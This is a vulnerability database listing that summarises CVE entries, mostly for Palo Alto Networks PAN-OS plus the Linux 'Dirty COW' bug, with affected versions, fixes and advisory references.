Vendor Product Version
Show details on NVD website


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cve-2020-1978
Vulnerability from cvelistv5
Published
2020-04-08 18:41
Modified
2024-09-16 22:35
Summary
TechSupport files generated on Palo Alto Networks VM Series firewalls for Microsoft Azure platform configured with high availability (HA) inadvertently collect Azure dashboard service account credentials. These credentials are equivalent to the credentials associated with the Contributor role in Azure. A user with the credentials will be able to manage all the Azure resources in the subscription except for granting access to other resources. These credentials do not allow login access to the VMs themselves. This issue affects VM Series Plugin versions before 1.0.9 for PAN-OS 9.0. This issue does not affect VM Series in non-HA configurations or on other cloud platforms. It does not affect hardware firewall appliances. Since becoming aware of the issue, Palo Alto Networks has safely deleted all the tech support files with the credentials. We now filter and remove these credentials from all TechSupport files sent to us. The TechSupport files uploaded to Palo Alto Networks systems were only accessible by authorized personnel with valid Palo Alto Networks credentials. We do not have any evidence of malicious access or use of these credentials.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2024-0008
Vulnerability from cvelistv5
Published
2024-02-14 17:32
Modified
2024-08-01 17:41
Summary
Web sessions in the management interface in Palo Alto Networks PAN-OS software do not expire in certain situations, making it susceptible to unauthorized access.
Impacted products
Vendor Product Version
Palo Alto Networks Prisma Access
Palo Alto Networks Cloud NGFW
Show details on NVD website


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cve-2012-6603
Vulnerability from cvelistv5
Published
2013-08-31 17:00
Modified
2024-08-06 21:36
Severity ?
Summary
The web management UI in Palo Alto Networks PAN-OS before 3.1.12, 4.0.x before 4.0.10, and 4.1.x before 4.1.4 allows remote attackers to bypass authentication and obtain administrator privileges via unspecified vectors, aka Ref ID 37034.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-1995
Vulnerability from cvelistv5
Published
2020-05-13 19:07
Modified
2024-09-17 01:40
Summary
A NULL pointer dereference vulnerability in Palo Alto Networks PAN-OS allows an authenticated administrator to send a request that causes the rasmgr daemon to crash. Repeated attempts to send this request result in denial of service to all PAN-OS services by restarting the device and putting it into maintenance mode. This issue affects: PAN-OS 9.1 versions earlier than 9.1.2.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-2018
Vulnerability from cvelistv5
Published
2020-05-13 19:07
Modified
2024-09-16 23:50
Severity ?
Summary
An authentication bypass vulnerability in the Panorama context switching feature allows an attacker with network access to a Panorama's management interface to gain privileged access to managed firewalls. An attacker requires some knowledge of managed firewalls to exploit this issue. This issue does not affect Panorama configured with custom certificates authentication for communication between Panorama and managed devices. This issue affects: PAN-OS 7.1 versions earlier than 7.1.26; PAN-OS 8.1 versions earlier than 8.1.12; PAN-OS 9.0 versions earlier than 9.0.6; All versions of PAN-OS 8.0.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2021-3061
Vulnerability from cvelistv5
Published
2021-11-10 17:10
Modified
2024-09-16 17:49
Summary
An OS command injection vulnerability in the Palo Alto Networks PAN-OS command line interface (CLI) enables an authenticated administrator with access to the CLI to execute arbitrary OS commands to escalate privileges. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.20-h1; PAN-OS 9.0 versions earlier than PAN-OS 9.0.14-h3; PAN-OS 9.1 versions earlier than PAN-OS 9.1.11-h2; PAN-OS 10.0 versions earlier than PAN-OS 10.0.8; PAN-OS 10.1 versions earlier than PAN-OS 10.1.3. Prisma Access customers that have Prisma Access 2.1 firewalls are impacted by this issue.
References
Impacted products
Vendor Product Version
Palo Alto Networks Prisma Access Version: 2.1 Preferred
Version: 2.1 Innovation
Show details on NVD website


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cve-2017-7644
Vulnerability from cvelistv5
Published
2017-04-29 00:00
Modified
2024-08-05 16:12
Severity ?
Summary
The Management Web Interface in Palo Alto Networks PAN-OS before 6.1.17, 7.x before 7.0.15, and 7.1.x before 7.1.9 allows remote authenticated users to obtain sensitive information by leveraging incorrect permission validation, aka PAN-SA-2017-0013 and PAN-70541.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2021-3055
Vulnerability from cvelistv5
Published
2021-09-08 17:10
Modified
2024-09-17 00:30
Summary
An improper restriction of XML external entity (XXE) reference vulnerability in the Palo Alto Networks PAN-OS web interface enables an authenticated administrator to read any arbitrary file from the file system and send a specifically crafted request to the firewall that causes the service to crash. Repeated attempts to send this request result in denial of service to all PAN-OS services by restarting the device and putting it into maintenance mode. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.20; PAN-OS 9.0 versions earlier than PAN-OS 9.0.14; PAN-OS 9.1 versions earlier than PAN-OS 9.1.10; PAN-OS 10.0 versions earlier than PAN-OS 10.0.6. This issue does not affect Prisma Access.
References
Impacted products
Vendor Product Version
Show details on NVD website


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          "PAN-OS 7.1.9-h2",
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cve-2019-1576
Vulnerability from cvelistv5
Published
2019-07-16 13:44
Modified
2024-08-04 18:20
Severity ?
Summary
Command injection in PAN-0S 9.0.2 and earlier may allow an authenticated attacker to gain access to a remote shell in PAN-OS, and potentially run with the escalated user’s permissions.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2017-7409
Vulnerability from cvelistv5
Published
2017-04-21 02:11
Modified
2024-08-05 16:04
Severity ?
Summary
Palo Alto Networks PAN-OS before 7.0.15 has XSS in the GlobalProtect external interface via crafted request parameters, aka PAN-SA-2017-0011 and PAN-70674.
References
http://www.securitytracker.com/id/1038355vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/97953vdb-entry, x_refsource_BID
https://security.paloaltonetworks.com/CVE-2017-7409x_refsource_CONFIRM
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-1999
Vulnerability from cvelistv5
Published
2020-11-12 00:05
Modified
2024-09-17 01:15
Summary
A vulnerability exists in the Palo Alto Network PAN-OS signature-based threat detection engine that allows an attacker to communicate with devices in the network in a way that is not analyzed for threats by sending data through specifically crafted TCP packets. This technique evades signature-based threat detection. This issue impacts: PAN-OS 8.1 versions earlier than 8.1.17; PAN-OS 9.0 versions earlier than 9.0.11; PAN-OS 9.1 versions earlier than 9.1.5; All versions of PAN-OS 7.1 and PAN-OS 8.0.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2023-6790
Vulnerability from cvelistv5
Published
2023-12-13 18:15
Modified
2024-08-02 08:42
Summary
A DOM-Based cross-site scripting (XSS) vulnerability in Palo Alto Networks PAN-OS software enables a remote attacker to execute a JavaScript payload in the context of an administrator’s browser when they view a specifically crafted link to the PAN-OS web interface.
Impacted products
Vendor Product Version
Palo Alto Networks Prisma Access
Palo Alto Networks Cloud NGFW
Show details on NVD website


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cve-2020-2044
Vulnerability from cvelistv5
Published
2020-09-09 16:45
Modified
2024-09-16 18:09
Summary
An information exposure through log file vulnerability where an administrator's password or other sensitive information may be logged in cleartext while using the CLI in Palo Alto Networks PAN-OS software. The opcmdhistory.log file was introduced to track operational command (op-command) usage but did not mask all sensitive information. The opcmdhistory.log file is removed in PAN-OS 9.1 and later PAN-OS versions. Command usage is recorded, instead, in the req_stats.log file in PAN-OS 9.1 and later PAN-OS versions. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.16; PAN-OS 9.0 versions earlier than PAN-OS 9.0.10; PAN-OS 9.1 versions earlier than PAN-OS 9.1.3.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2022-0030
Vulnerability from cvelistv5
Published
2022-10-12 16:30
Modified
2024-09-16 20:36
Summary
An authentication bypass vulnerability in the Palo Alto Networks PAN-OS 8.1 web interface allows a network-based attacker with specific knowledge of the target firewall or Panorama appliance to impersonate an existing PAN-OS administrator and perform privileged actions.
Impacted products
Vendor Product Version
Palo Alto Networks Cloud NGFW
Palo Alto Networks Prisma Access
Show details on NVD website


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cve-2017-7945
Vulnerability from cvelistv5
Published
2017-04-29 00:00
Modified
2024-08-05 16:19
Severity ?
Summary
The GlobalProtect external interface in Palo Alto Networks PAN-OS before 6.1.17, 7.x before 7.0.15, 7.1.x before 7.1.9, and 8.x before 8.0.2 provides different error messages for failed login attempts depending on whether the username exists, which allows remote attackers to enumerate account names and conduct brute-force attacks via a series of requests, aka PAN-SA-2017-0014 and PAN-72769.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2016-3655
Vulnerability from cvelistv5
Published
2016-04-12 17:00
Modified
2024-08-06 00:03
Severity ?
Summary
The management web interface in Palo Alto Networks PAN-OS before 5.0.18, 6.0.x before 6.0.13, 6.1.x before 6.1.10, and 7.0.x before 7.0.5 allows remote attackers to execute arbitrary OS commands via an unspecified API call.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-2048
Vulnerability from cvelistv5
Published
2020-11-12 00:05
Modified
2024-09-17 01:26
Summary
An information exposure through log file vulnerability exists where the password for the configured system proxy server for a PAN-OS appliance may be displayed in cleartext when using the CLI in Palo Alto Networks PAN-OS software. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.17; PAN-OS 9.0 versions earlier than PAN-OS 9.0.11; PAN-OS 9.1 versions earlier than PAN-OS 9.1.2.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2017-17841
Vulnerability from cvelistv5
Published
2018-01-10 18:00
Modified
2024-08-05 21:06
Severity ?
Summary
Palo Alto Networks PAN-OS 6.1, 7.1, and 8.0.x before 8.0.7, when an interface implements SSL decryption with RSA enabled or hosts a GlobalProtect portal or gateway, might allow remote attackers to decrypt TLS ciphertext data by leveraging a Bleichenbacher RSA padding oracle, aka a ROBOT attack.
References
http://www.securityfocus.com/bid/102458vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1040149vdb-entry, x_refsource_SECTRACK
https://security.paloaltonetworks.com/CVE-2017-17841x_refsource_CONFIRM
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2012-6595
Vulnerability from cvelistv5
Published
2013-08-31 17:00
Modified
2024-08-06 21:36
Severity ?
Summary
The device-management command-line interface in Palo Alto Networks PAN-OS 4.0.x before 4.0.9 and 4.1.x before 4.1.2 allows remote authenticated administrators to execute arbitrary commands via unspecified vectors, aka Ref ID 34595.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-1982
Vulnerability from cvelistv5
Published
2020-07-08 16:35
Modified
2024-09-17 00:52
Summary
Certain communication between PAN-OS and cloud-delivered services inadvertently use TLS 1.0, which is known to be a cryptographically weak protocol. These cloud services include Cortex Data Lake, the Customer Support Portal, and the Prisma Access infrastructure. Conditions required for exploitation of known TLS 1.0 weaknesses do not exist for the communication between PAN-OS and cloud-delivered services. We do not believe that any communication is impacted as a result of known attacks against TLS 1.0. This issue impacts: All versions of PAN-OS 8.0; PAN-OS 8.1 versions earlier than PAN-OS 8.1.14; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9; PAN-OS 9.1 versions earlier than PAN-OS 9.1.3. PAN-OS 7.1 is not impacted by this issue.
References
Impacted products
Vendor Product Version
Show details on NVD website


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                            "version_name": "9.0",
                            "version_value": "9.0.9"
                          },
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                            "version_value": "8.1.15"
                          },
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                            "version_value": "8.0.*"
                          },
                          {
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                            "version_name": "7.1",
                            "version_value": "7.1.*"
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            "lang": "eng",
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        ],
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        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
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              "lang": "eng",
              "value": "Certain communication between PAN-OS and cloud-delivered services inadvertently use TLS 1.0, which is known to be a cryptographically weak protocol. These cloud services include Cortex Data Lake, the Customer Support Portal, and the Prisma Access infrastructure. Conditions required for exploitation of known TLS 1.0 weaknesses do not exist for the communication between PAN-OS and cloud-delivered services. We do not believe that any communication is impacted as a result of known attacks against TLS 1.0. This issue impacts: All versions of PAN-OS 8.0; PAN-OS 8.1 versions earlier than PAN-OS 8.1.14; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9; PAN-OS 9.1 versions earlier than PAN-OS 9.1.3. PAN-OS 7.1 is not impacted by this issue."
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          ]
        },
        "exploit": [
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            "confidentialityImpact": "LOW",
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            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
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              "description": [
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                  "lang": "eng",
                  "value": "CWE-326 Inadequate Encryption Strength"
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          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "https://security.paloaltonetworks.com/CVE-2020-1982",
              "refsource": "MISC",
              "url": "https://security.paloaltonetworks.com/CVE-2020-1982"
            }
          ]
        },
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          {
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            "value": "This issue is fixed in PAN-OS 8.1.15, PAN-OS 9.0.9, PAN-OS 9.1.3, and all later PAN-OS versions.\n\nA fixed version of PAN-OS is required to ensure secure usage of cloud-delivered services without interruption.\n\nPAN-OS 7.1 and PAN-OS 8.0 are end-of-life (as of June 30, 2020 and October 31, 2019 respectively) and are no longer covered by our Product Security Assurance policies."
          }
        ],
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          "defect": [
            "PAN-141122",
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          ],
          "discovery": "USER"
        },
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            "time": "2020-07-08T00:00:00",
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            "value": "Since TLS 1.0 weaknesses are exploited by the man-in-the-middle type of attackers, ensuring security of the networks reduces risks of exploitation of these issues."
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        ]
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    "datePublished": "2020-07-08T16:35:16.480967Z",
    "dateReserved": "2019-12-04T00:00:00",
    "dateUpdated": "2024-09-17T00:52:21.417Z",
    "state": "PUBLISHED"
  },
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cve-2023-6795
Vulnerability from cvelistv5
Published
2023-12-13 18:17
Modified
2024-08-02 08:42
Summary
An OS command injection vulnerability in Palo Alto Networks PAN-OS software enables an authenticated administrator to disrupt system processes and potentially execute arbitrary code with limited privileges on the firewall.
Impacted products
Vendor Product Version
Palo Alto Networks Prisma Access
Palo Alto Networks Cloud NGFW
Show details on NVD website


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cve-2016-5195
Vulnerability from cvelistv5
Published
2016-11-10 21:00
Modified
2024-08-06 00:53
Severity ?
Summary
Race condition in mm/gup.c in the Linux kernel 2.x through 4.x before 4.8.3 allows local users to gain privileges by leveraging incorrect handling of a copy-on-write (COW) feature to write to a read-only memory mapping, as exploited in the wild in October 2016, aka "Dirty COW."
References
http://rhn.redhat.com/errata/RHSA-2016-2107.htmlvendor-advisory, x_refsource_REDHAT
https://www.exploit-db.com/exploits/40616/exploit, x_refsource_EXPLOIT-DB
https://access.redhat.com/errata/RHSA-2017:0372vendor-advisory, x_refsource_REDHAT
https://bto.bluecoat.com/security-advisory/sa134x_refsource_CONFIRM
https://h20566.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c05352241x_refsource_CONFIRM
http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.htmlx_refsource_CONFIRM
https://www.exploit-db.com/exploits/40839/exploit, x_refsource_EXPLOIT-DB
https://dirtycow.ninjax_refsource_MISC
https://www.exploit-db.com/exploits/40847/exploit, x_refsource_EXPLOIT-DB
http://rhn.redhat.com/errata/RHSA-2016-2118.htmlvendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2016-2128.htmlvendor-advisory, x_refsource_REDHAT
https://source.android.com/security/bulletin/2016-12-01.htmlx_refsource_CONFIRM
http://rhn.redhat.com/errata/RHSA-2016-2120.htmlvendor-advisory, x_refsource_REDHAT
http://www.openwall.com/lists/oss-security/2016/10/26/7mailing-list, x_refsource_MLIST
http://rhn.redhat.com/errata/RHSA-2016-2133.htmlvendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2016-2098.htmlvendor-advisory, x_refsource_REDHAT
https://h20566.www2.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbgn03761en_usx_refsource_CONFIRM
https://www.kb.cert.org/vuls/id/243144third-party-advisory, x_refsource_CERT-VN
https://bugzilla.suse.com/show_bug.cgi?id=1004418x_refsource_CONFIRM
http://www.securitytracker.com/id/1037078vdb-entry, x_refsource_SECTRACK
https://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-5195.htmlx_refsource_CONFIRM
https://h20566.www2.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbgn03722en_usx_refsource_CONFIRM
https://security.netapp.com/advisory/ntap-20161025-0001/x_refsource_CONFIRM
http://www.securityfocus.com/bid/93793vdb-entry, x_refsource_BID
http://rhn.redhat.com/errata/RHSA-2016-2127.htmlvendor-advisory, x_refsource_REDHAT
https://security-tracker.debian.org/tracker/CVE-2016-5195x_refsource_CONFIRM
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCsx_refsource_MISC
https://h20566.www2.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbgn03742en_usx_refsource_CONFIRM
https://github.com/torvalds/linux/commit/19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619x_refsource_CONFIRM
https://help.ecostruxureit.com/display/public/UADCO8x/StruxureWare+Data+Center+Operation+Software+Vulnerability+Fixesx_refsource_CONFIRM
https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetailsx_refsource_MISC
https://bugzilla.redhat.com/show_bug.cgi?id=1384344x_refsource_CONFIRM
https://access.redhat.com/security/vulnerabilities/2706661x_refsource_CONFIRM
http://rhn.redhat.com/errata/RHSA-2016-2106.htmlvendor-advisory, x_refsource_REDHAT
http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619x_refsource_CONFIRM
https://www.exploit-db.com/exploits/40611/exploit, x_refsource_EXPLOIT-DB
https://access.redhat.com/security/cve/cve-2016-5195x_refsource_CONFIRM
https://source.android.com/security/bulletin/2016-11-01.htmlx_refsource_CONFIRM
https://h20566.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c05347541x_refsource_CONFIRM
http://rhn.redhat.com/errata/RHSA-2016-2124.htmlvendor-advisory, x_refsource_REDHAT
http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.8.3x_refsource_CONFIRM
http://rhn.redhat.com/errata/RHSA-2016-2105.htmlvendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2016-2126.htmlvendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2016-2132.htmlvendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2016-2110.htmlvendor-advisory, x_refsource_REDHAT
https://h20566.www2.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbgn03707en_usx_refsource_CONFIRM
https://h20566.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c05341463x_refsource_CONFIRM
https://kc.mcafee.com/corporate/index?page=content&id=SB10176x_refsource_CONFIRM
http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00055.htmlvendor-advisory, x_refsource_SUSE
http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00067.htmlvendor-advisory, x_refsource_SUSE
http://www.openwall.com/lists/oss-security/2016/10/27/13mailing-list, x_refsource_MLIST
http://www.ubuntu.com/usn/USN-3106-2vendor-advisory, x_refsource_UBUNTU
http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00034.htmlvendor-advisory, x_refsource_SUSE
http://packetstormsecurity.com/files/139277/Kernel-Live-Patch-Security-Notice-LSN-0012-1.htmlx_refsource_MISC
http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00053.htmlvendor-advisory, x_refsource_SUSE
http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20161207-01-dirtycow-enx_refsource_CONFIRM
http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00058.htmlvendor-advisory, x_refsource_SUSE
http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00035.htmlvendor-advisory, x_refsource_SUSE
http://packetstormsecurity.com/files/142151/Kernel-Live-Patch-Security-Notice-LSN-0021-1.htmlx_refsource_MISC
http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00066.htmlvendor-advisory, x_refsource_SUSE
http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00051.htmlvendor-advisory, x_refsource_SUSE
http://www.ubuntu.com/usn/USN-3106-3vendor-advisory, x_refsource_UBUNTU
https://h20566.www2.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-c05352241x_refsource_CONFIRM
http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00064.htmlvendor-advisory, x_refsource_SUSE
https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/W3APRVDVPDBXLH4DC5UKZVCR742MJIM3/vendor-advisory, x_refsource_FEDORA
http://www.securityfocus.com/archive/1/archive/1/540736/100/0/threadedmailing-list, x_refsource_BUGTRAQ
http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00057.htmlvendor-advisory, x_refsource_SUSE
http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00040.htmlvendor-advisory, x_refsource_SUSE
http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00054.htmlvendor-advisory, x_refsource_SUSE
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181107-vcsdvendor-advisory, x_refsource_CISCO
http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20161026-linuxvendor-advisory, x_refsource_CISCO
http://kb.juniper.net/InfoCenter/index?page=content&id=JSA10770x_refsource_CONFIRM
https://kc.mcafee.com/corporate/index?page=content&id=SB10177x_refsource_CONFIRM
http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00065.htmlvendor-advisory, x_refsource_SUSE
http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00045.htmlvendor-advisory, x_refsource_SUSE
http://www.ubuntu.com/usn/USN-3105-2vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-3107-1vendor-advisory, x_refsource_UBUNTU
http://kb.juniper.net/InfoCenter/index?page=content&id=JSA10774x_refsource_CONFIRM
http://www.ubuntu.com/usn/USN-3107-2vendor-advisory, x_refsource_UBUNTU
http://www.securityfocus.com/archive/1/540344/100/0/threadedmailing-list, x_refsource_BUGTRAQ
http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00048.htmlvendor-advisory, x_refsource_SUSE
http://www.ubuntu.com/usn/USN-3106-1vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-3106-4vendor-advisory, x_refsource_UBUNTU
http://www.openwall.com/lists/oss-security/2016/10/30/1mailing-list, x_refsource_MLIST
http://packetstormsecurity.com/files/139923/Linux-Kernel-Dirty-COW-PTRACE_POKEDATA-Privilege-Escalation.htmlx_refsource_MISC
http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00072.htmlvendor-advisory, x_refsource_SUSE
http://www.ubuntu.com/usn/USN-3104-2vendor-advisory, x_refsource_UBUNTU
http://fortiguard.com/advisory/FG-IR-16-063x_refsource_CONFIRM
http://kb.juniper.net/InfoCenter/index?page=content&id=JSA10807x_refsource_CONFIRM
http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00049.htmlvendor-advisory, x_refsource_SUSE
http://www.securityfocus.com/archive/1/539611/100/0/threadedmailing-list, x_refsource_BUGTRAQ
http://packetstormsecurity.com/files/139922/Linux-Kernel-Dirty-COW-PTRACE_POKEDATA-Privilege-Escalation.htmlx_refsource_MISC
http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00052.htmlvendor-advisory, x_refsource_SUSE
http://www.securityfocus.com/archive/1/archive/1/540252/100/0/threadedmailing-list, x_refsource_BUGTRAQ
http://www.ubuntu.com/usn/USN-3105-1vendor-advisory, x_refsource_UBUNTU
http://packetstormsecurity.com/files/139286/DirtyCow-Linux-Kernel-Race-Condition.htmlx_refsource_MISC
http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00050.htmlvendor-advisory, x_refsource_SUSE
https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/E7M62SRP6CZLJ4ZXCRZKV4WPLQBSR7DT/vendor-advisory, x_refsource_FEDORA
https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/NWMDLBWMGZKFHMRJ7QUQVCERP5QHDB6W/vendor-advisory, x_refsource_FEDORA
http://www.openwall.com/lists/oss-security/2016/11/03/7mailing-list, x_refsource_MLIST
http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00056.htmlvendor-advisory, x_refsource_SUSE
http://lists.opensuse.org/opensuse-security-announce/2016-12/msg00033.htmlvendor-advisory, x_refsource_SUSE
https://kc.mcafee.com/corporate/index?page=content&id=SB10222x_refsource_CONFIRM
http://www.debian.org/security/2016/dsa-3696vendor-advisory, x_refsource_DEBIAN
http://packetstormsecurity.com/files/139287/DirtyCow-Local-Root-Proof-Of-Concept.htmlx_refsource_MISC
http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00038.htmlvendor-advisory, x_refsource_SUSE
http://www.securityfocus.com/archive/1/archive/1/540344/100/0/threadedmailing-list, x_refsource_BUGTRAQ
http://www.securityfocus.com/archive/1/archive/1/539611/100/0/threadedmailing-list, x_refsource_BUGTRAQ
http://www.ubuntu.com/usn/USN-3104-1vendor-advisory, x_refsource_UBUNTU
http://www.securityfocus.com/archive/1/540736/100/0/threadedmailing-list, x_refsource_BUGTRAQ
http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00039.htmlvendor-advisory, x_refsource_SUSE
http://lists.opensuse.org/opensuse-security-announce/2016-12/msg00100.htmlvendor-advisory, x_refsource_SUSE
http://www.openwall.com/lists/oss-security/2016/10/21/1mailing-list, x_refsource_MLIST
http://www.securityfocus.com/archive/1/540252/100/0/threadedmailing-list, x_refsource_BUGTRAQ
http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00036.htmlvendor-advisory, x_refsource_SUSE
http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00063.htmlvendor-advisory, x_refsource_SUSE
https://security.paloaltonetworks.com/CVE-2016-5195x_refsource_CONFIRM
http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00041.htmlvendor-advisory, x_refsource_SUSE
https://www.arista.com/en/support/advisories-notices/security-advisories/1753-security-advisory-0026x_refsource_MISC
http://www.openwall.com/lists/oss-security/2022/03/07/1mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2022/08/08/2mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2022/08/08/1mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2022/08/08/7mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2022/08/08/8mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2022/08/09/4mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2022/08/15/1mailing-list, x_refsource_MLIST
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-2011
Vulnerability from cvelistv5
Published
2020-05-13 19:07
Modified
2024-09-16 23:26
Summary
An improper input validation vulnerability in the configuration daemon of Palo Alto Networks PAN-OS Panorama allows for a remote unauthenticated user to send a specifically crafted registration request to the device that causes the configuration service to crash. Repeated attempts to send this request result in denial of service to all PAN-OS Panorama services by restarting the device and putting it into maintenance mode. This issue affects: All versions of PAN-OS 7.1, PAN-OS 8.0; PAN-OS 8.1 versions earlier than 8.1.14; PAN-OS 9.0 versions earlier than 9.0.7; PAN-OS 9.1 versions earlier than 9.1.0.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-1992
Vulnerability from cvelistv5
Published
2020-04-08 18:41
Modified
2024-09-17 03:44
Summary
A format string vulnerability in the Varrcvr daemon of PAN-OS on PA-7000 Series devices with a Log Forwarding Card (LFC) allows remote attackers to crash the daemon creating a denial of service condition or potentially execute code with root privileges. This issue affects Palo Alto Networks PAN-OS 9.0 versions before 9.0.7; PAN-OS 9.1 versions before 9.1.2 on PA-7000 Series devices with an LFC installed and configured. This issue requires WildFire services to be configured and enabled. This issue does not affect PAN-OS 8.1 and earlier releases. This issue does not affect any other PA Series firewalls.
References
Impacted products
Vendor Product Version
Palo Alto Networks PAN-OS
Show details on NVD website


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cve-2017-16878
Vulnerability from cvelistv5
Published
2018-01-10 18:00
Modified
2024-08-05 20:35
Severity ?
Summary
Cross-site scripting (XSS) vulnerability in the Captive Portal function in Palo Alto Networks PAN-OS before 8.0.7 allows remote attackers to inject arbitrary web script or HTML by leveraging an unspecified configuration.
References
http://www.securitytracker.com/id/1040148vdb-entry, x_refsource_SECTRACK
https://security.paloaltonetworks.com/CVE-2017-16878x_refsource_CONFIRM
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2017-7216
Vulnerability from cvelistv5
Published
2017-05-02 15:00
Modified
2024-08-05 15:56
Severity ?
Summary
The Management Web Interface in Palo Alto Networks PAN-OS before 7.1.9 allows remote authenticated users to obtain sensitive information via unspecified request parameters.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2012-6604
Vulnerability from cvelistv5
Published
2013-08-31 17:00
Modified
2024-08-06 21:36
Severity ?
Summary
The device-management command-line interface in Palo Alto Networks PAN-OS before 3.1.11 and 4.0.x before 4.0.9 allows remote authenticated users to execute arbitrary code via unspecified vectors, aka Ref ID 35249.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2012-6591
Vulnerability from cvelistv5
Published
2013-08-31 17:00
Modified
2024-08-06 21:36
Severity ?
Summary
The device-management command-line interface in Palo Alto Networks PAN-OS before 3.1.10 and 4.0.x before 4.0.5 allows remote authenticated administrators to execute arbitrary commands via unspecified vectors, aka Ref ID 31116.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-2043
Vulnerability from cvelistv5
Published
2020-09-09 16:45
Modified
2024-09-16 22:08
Summary
An information exposure through log file vulnerability where sensitive fields are recorded in the configuration log without masking on Palo Alto Networks PAN-OS software when the after-change-detail custom syslog field is enabled for configuration logs and the sensitive field appears multiple times in one log entry. The first instance of the sensitive field is masked but subsequent instances are left in clear text. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.16; PAN-OS 9.0 versions earlier than PAN-OS 9.0.10; PAN-OS 9.1 versions earlier than PAN-OS 9.1.4.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-2038
